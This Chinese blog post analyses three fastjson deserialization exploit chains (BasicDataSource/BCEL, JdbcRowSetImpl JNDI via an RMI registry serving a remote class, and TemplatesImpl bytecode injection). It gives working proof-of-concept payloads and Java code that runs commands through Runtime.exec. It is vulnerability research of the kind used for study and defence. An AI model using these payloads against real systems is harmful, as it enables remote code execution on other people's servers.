Fastjson Deserialize Vulnerability

2019-03-28

fastjson反序列化也是很经典的反序列化漏洞，最近也在学习关于fastjson反序列化漏洞的三种利用方式。

基本知识

Fastjson是阿里巴巴集团旗下的一款基于json序列化的开源项目，主要功能是用于将对象与json格式之间的相互转换。和php中的json序列化一样，java中的json序列化也只是保存对象的属性及其内容。在fastjson中反序列化主要使用JSON.parseObject方法和JSON.parse方法将json数据还原为对象。

JSON.parseObject和JSON.parse的区别

parse和parseObject，这两种方法的功能都是将序列化数据转化为对象，但是具体的执行流程有些许不同。对于parse来说，反序列化时会调用目标类中的setter方法和某些满足条件的getter方法，而parseObject会调用目标类的全部setter和getter方法包括不存在的属性，但是在默认情况下只会调用公开属性的getter和setter方法。

fastjson触发getter方法的条件如下：
1. 继承自Collection||Map||AtomicBoolean||AtomicInteger||AtomicLong 这几种类型的属性。字面量创建形式：Collection:[]，Map:{}，AtomicBoolean:true，AtomicInteger:1，AtomicLong:1
2. 没有参数传入
3. 只有getter没有setter
4. 非静态方法
5. 方法名的长度大于等于4，且第四个字符为大写字符
从安全的角度来看JSON.parseObject比JSON.parse更加不安全，因为其会调用所有的getter和setter方法，无论属性是否存在。而JSON.parse更多只是调用setter方法。
@type属性

在fastjson中默认开启@type属性，该属性用于指明反序列化的对象类。

fastjson序列化数据格式：{"@type":类名,"属性名":"属性值","属性名":"属性"....}

事实上java中的json反序列化和php中的反序列化很像。都是通过传入设置好属性的格式化数据，将其还原为对象。并且都涉及类似魔术方法的概念，利用一些自动调用的方法进行进一步利用。

Java的json反序列化和普通的反序列化最大的区别是，json反序列化只会保留对象的属性，而java反序列化会将对象的所有内容，包括属性、方法、类名等等，都写入字节码文件中。且json格式是可读的，而java反序列化后是字节码文件，不可读。

关于fastjson的反序列化漏洞，我找到三种比较典型利用方式，接下来就一一调试分析。

BasicDataSource 利用链

漏洞分析

BasicDataSource利用链可以调用的反序列化类有两个，分别是org.apache.commons.dbcp.BasicDataSource和org.apache.tomcat.dbcp.dbcp.BasicDataSource。为了调试的方便，我这里只以org.apache.tomcat.dbcp.dbcp.BasicDataSource为例。直接定位到文件的getConnection方法：

跟入createDataSource方法：

继续步入createConnectionFactory方法：

在createConnectionFactory方法可以看到调用Class.forName方法。而Class.forName方法的作用就是用于实现动态加载类。Class.forName的使用方法有两种：

1
2
3

Static Class forName(String name)

Static Class forName(String name, boolean initialize, ClassLoader loader)

简单的利用demo：

package com.test;

public class pwntest {
    public static void main(String args[]) throws Exception{
        Class.forName("com.test.run");
    }
}


package com.test;

public class fastjsonpwn {
    public static void main(String args[]) throws Exception{
        String classname="org.apache.log4j.spi$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dS$dbR$d3P$U$5d$a7$b7$Tb$b8$df$acP$ae$C$F$84$u$e2$F$K$uE$d0J$b9$8c$m$M$83$_$n$i$98$60I2i$ea$f07$3e$f2$K$_$c5$R$c7$P$f0$d9$7f$f0$_$c4$7db$LE$99$d1$a6$b3$93$bd$f6m$ed$7d$f6$f9$f6$f3$f3W$A$e3XU$d1$82$7e$F$D$iI$V$83$Y$92bX$c5$3d$8c$a8$IcT$K$9d$e3$be$8a$w$f4K$f1$80cL$85$86$87R$Z$97$e6G$i$8fU$d4$e1$89$82$a7$i$T$w$g1$c9$91$e2$98b$88MY$b6$e5$cf0$84$93$83$h$M$919gW0$d4f$z$5b$y$X$Ow$84$b7n$ec$e4$I$89$88$pa2$f4$t$b3$H$c6$HC$cf$Z$f6$be$be$e6$7b$96$bd$9f$g$fc$hb$a8$5e$f3$N$f3$fd$92$e1$G$f1D$89c$9a$3a$m$s$M$ca$94$99$L$aa$S$Z$Gu$cd$vx$a6X$b0d$Z$c5$x$d8$a32$9d$86V$dcf$AC$5b$90$ddr$f4taoOxb7c$bb$F$9f$K$J$e3$90cF$c33$3c$d7$d0$86Y$8e$b4$869$bc$90$a1$f3$g$W$f0$92$a1$f5Oj$e9$82$95$db$V$9e$86W$c80$d4$fdi$96$b1$af5$y$o$abaI$Sh$bc$f2$98$3f2$85$eb$5b$8e$ada$ZY$86$k$c7$Vv$97$3e$eb$ba9$cb4$a4$n$af$cf$Z9$b3$903$7c$c7$h5$5cW$_$c7$T$fb$ccJE$fc$8aL$ad$99$ce$a1$ee$8b$bc$afS$d3$d7$b8$ac$ec$i$I$d3g$Im$a7$Z$ea$af$f07$F$db$b7$OiL$ea$be$f0$_$95$e6d$e5$J$94$60$3a$82$81$7f$9c$d5$aa$e7$98$o$9fO$5d$xQ$C$Zj$a8D$c5$a4i$94$e52$b2$99$x$D$85$c7$937$g2$c1B$d1$e7$$$DOn$a73$99A$gy$8c$e6$ol$82F$fek$95J$e7$95$baLA9$V$df$f9mdhJ$de$b8$7dQ3$e7$e4KsZ$a2v$8c$7d$b9$d4$$Y$fd$60$_$d7$3d$c3$U$e8F3$dd$z$f9$L$d3$9e$d1$be$91$8c$93$96$a07$ad$k$a2Cg$60$a7$90Kx$87d$y$Act$ab$da$d0$5er$fdAz$8c$de$ef$gB$d9$fa$3a$cc$q$be$u$93$91s$84$b7$3e$n2TD$b4$88X$e2$M$7c2$g$8f$c6$p$e1D$R$ca$d6t$e8$pz$cfQ$b5u$Gu$b8$88$5b$e7$d0$b6$c8$d6$7e$86j$d2$8a$a8$c9$k_$7c$8fSd$ed$f0I$96$i$eaO$82$bao$b1AW8$U0$Z$a3$eb$N$aa$l$s$s$9c$b8hD$b9$J$j$d4B$t$ba$d0$D$j$bd$b4b$7dXG$3fE$N$60$TI$f2$A$s$Q$be$m$87$YG$H$fd$c18$3a9$e9$b8$c0h$Zd$V$60Lz$En$ddP$umy$3e$xDCRj$a0$s$h$g$a8$cb$cdc$u$8b$d4n$d3i$80W$R$a1$c6$S$d5$WDIj$84$d5$91$ac$a6$a7$W$f54wI$87$p$94$e5$e8$8dP$d0$5dRC$e8$fb$F$d5$c6$y$d7$f6$E$A$A";
        ClassLoader cls=new com.sun.org.apache.bcel.internal.util.ClassLoader();
        Class.forName(classname,true,cls);
    }
}

第一种方法用于加载传入的类名，若找不到则抛出ClassNotFoundException异常。若类中存在静态初始化器的话，会主动调用该类的静态代码段。采用第二种方法则可以通过设置第二个参数，手动指定是否执行类中的静态代码段。最后一个参数指明动态加载器。实际上不论采用哪一种方式，最终的目的都是实现动态加载对象。理论上来说都是没有问题的，但是并不是每一个动态加载器都会老老实实地从本地寻找类名进行加载，比如com.sun.org.apache.bcel.internal.util.ClassLoader。

如果forName方法的第一个参数仅仅只能指明类名，那就没有很大的安全隐患。但是在com.sun.org.apache.bcel.internal.util.ClassLoader，允许name传入经过BCEL编码的字节码文件。也就是说我们可以将name设置为BCEL编码的evil类的字节码文件，通过com.sun.org.apache.bcel.internal.util.ClassLoader进行加载，由于第二个参数在这里是true，就会自动调用evil类中的静态代码段。

当我们指定使用com.sun.org.apache.bcel.internal.util.ClassLoader加载类，则进入com.sun.org.apache.bcel.internal.util.ClassLoader的loadClass方法：

若检测到采用$$BCEL$$编码，则调用createClass方法：

在createClass方法中进行解码操作，并且获取其字节码。接下来回到loadClass方法中：

采用defineClass方法从字节码中还原出一个类并加载，而静态代码块就是在加载的时候执行，优先于各种代码块和构造方法。因此我们可以将恶意代码写在静态代码块中。

关于BasicDataSource内部的利用链分析就到此为止，相对来说还是比较简单的，更多还是利用到java动态加载的知识点。我们需要思考的是如何调用getConnection方法。

这里就引出fastjson的反序列化机制。就像我上文描述的当我们使用JSON.parseObject进行反序列化的时候，就能触发目标类中的所有getter方法，包括不存在属性和私有属性的getter方法。这里我们利用到的getConnection就是属于一个不存在的Connection属性的getter方法。而且基于pop（面向属性编程），我们可以在json序列化数据中指定driverClassLoader和driverClassName。最终我们就可以利用JSON.parseObject完成一次反序列化攻击，实现rce。

完整调用栈：

POC

package com.test;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class PoC2dbcp {
    public static void main(String[] argv){
        String xx = payload2();
    }

    public static String payload2() {
        try {
            String payload2 = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"$$BCEL$$wisdomtree\"}";

            String classname=encode();
            //System.out.println(classname);
            payload2 = payload2.replace("wisdomtree", classname);
            JSONObject.parseObject(payload2);
            return payload2;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public static String encode() throws Exception{
        Path path = Paths.get("path/run.class");
        byte[] data = Files.readAllBytes(path);
        String s =  Utility.encode(data,true);
        return s;
    }
}

package com.test;

import java.io.BufferedInputStream;
import java.io.IOException;

public class run {
    static
    {
        try {
            Runtime.getRuntime().exec("open /Applications/Calculator.app/");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static String exec(String cmd) {
        try {
            String s = "";
            int len;
            int bufSize = 4096;
            byte[] buffer = new byte[bufSize];
            BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime()
                    .exec(cmd)
                    .getInputStream(),
                    bufSize);

            while ((len = bis.read(buffer, 0, bufSize)) != -1)
                s += new String(buffer, 0, len);
            bis.close();
            return s;
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

基于`com.sun.rowset.JdbcRowSetImpl`的fastjson利用链

漏洞分析

fastjson反序列化漏洞问题的本质就是getter和setter的滥用。因此我们在挖掘fastjson反序列化漏洞利用时，肯定要把精力放在各个类的getter和setter方法上。在com.sun.rowset.JdbcRowSetImpl中的setAutoCommit方法中就存在JNDI注入：

跟入connect方法：

在这里就很明显能看出来存在一个典型的JNDI注入，this.getDataSourceName方法就是用于获取dataSource属性。这里我们进入setDataSourceName方法，看看如何对dataSource属性进行赋值。

跟入super.setDataSourceName：

这里就可以看出来在json数据中设置的dataSourceName属性最终赋值给dataSource属性。也就是说JNDI注入点可控，接下来就是常规JNDI注入思路，在外部搭建一个RMI服务，绑定远程服务器上的evil.class字节码文件，通过动态加载引入字节码文件实现RCE。

POC

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;

public class RMIService {
    public static void main(String args[]) throws Exception {
        System.out.println("Creating RMI Registry");
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://127.0.0.1:8088/");
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
        registry.bind("Object", referenceWrapper);
    }
}

import com.alibaba.fastjson.JSON;

public class fastjson_poc {

    public static void  test_autoTypeDeny() throws Exception {
        String rmi_paload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Object\",\"autoCommit\":true}";
        Object jdbc_payload= JSON.parseObject(rmi_paload);

    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

public class ExportObject {

    public static void ExportObject() throws Exception {
        String cmd = "open /Applications/Calculator.app/";
        Runtime.getRuntime().exec(cmd);
    }
}

将ExportObject字节码文件放在可访问的web根目录下即可。

基于`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`的对象注入

漏洞分析

之前说到关于fastjson触发getter方法的几种条件，在默认情况下fastjson只会反序列化公开的属性，因此当我们需要对私有属性进行赋值时，需要在JSON.parseObject方法中设置Feature.SupportNonPublicField参数。我们将目光定位到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中的getOutputProperties方法：

跟入newTransformer方法：

继续跟入getTransletInstance方法：

在这里就能看到调用newInstance方法实例化一个对象，如果前面的参数可控的话就能实现一个对象注入。因为这里对_name进行判断，因此我们需要在payload中对其进行赋值。我们跟入defineTransletClasses方法，看看是如何操作_class属性的。

这里就用到我们在payload中构造的_bytecodes属性，通过defineClass方法，从字节码中还原出一个类并加载，返回一个类。再回到getTransletInstance方法中，对这个对类进行实例化操作，生成一个对象。在我复现的这个版本中并没有利用到_tfactory属性，但是在某些版本中需要用到这个属性否则会导致异常退出。

整体思路捋清楚就要开始研究如何传参赋值。这里比较有意思的是，在_bytecodes属性中使用base64编码字节码。其实也是因为fastjson在获取属性赋值的时候对其进行base64解码操作，具体如下：

POC

package com.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import java.io.File;
import java.io.ByteArrayOutputStream;

import java.io.FileInputStream;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class fastjson_poc {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String evilClassPath = System.getProperty("user.dir") + "/src/main/java/com/test/ShellExec.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        Object jdbc_payload=JSON.parseObject(text1,Object.class, config, Feature.SupportNonPublicField);

    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

实际上这种利用方式很鸡肋，首先需要在JSON.parseObject中设置Feature.SupportNonPublicField参数。而该参数在fastjson1.2.22之后才引入，也就是只有在fastjson1.2.22才能利用这种攻击方式。且大部分情况下我们并不能控制JSON.parseObject的第二个参数，第三个参数和第四个参数。很多时候都是JSON.parseObject(input)就完事了。

小结

由于fastjson也是java中处理json数据的主要组件之一，因此该组件的任何漏洞都有可能在具体场景中产生巨大危害，我们不能否认这些漏洞的危害性。但是就我个人认为，这三种利用手法的有效性还是有很明显的区别。我是认为JdbcRowSetImpl的攻击面最大，BasicDataSource次之，TemplatesImpl的利用面最狭隘。

通过这三种不同的利用手法，我也看到了针对fastjson攻击思路的多样性。JdbcRowSetImpl采用JNDI注入，BasicDataSource利用defineClass加载字节码对象，而TemplatesImpl是结合newInstance进行对象注入。虽然名义上都是反序列化漏洞，可是其具体成因不同，当我们想要进行漏洞挖掘的时候，也应该是从这几个薄弱点下手。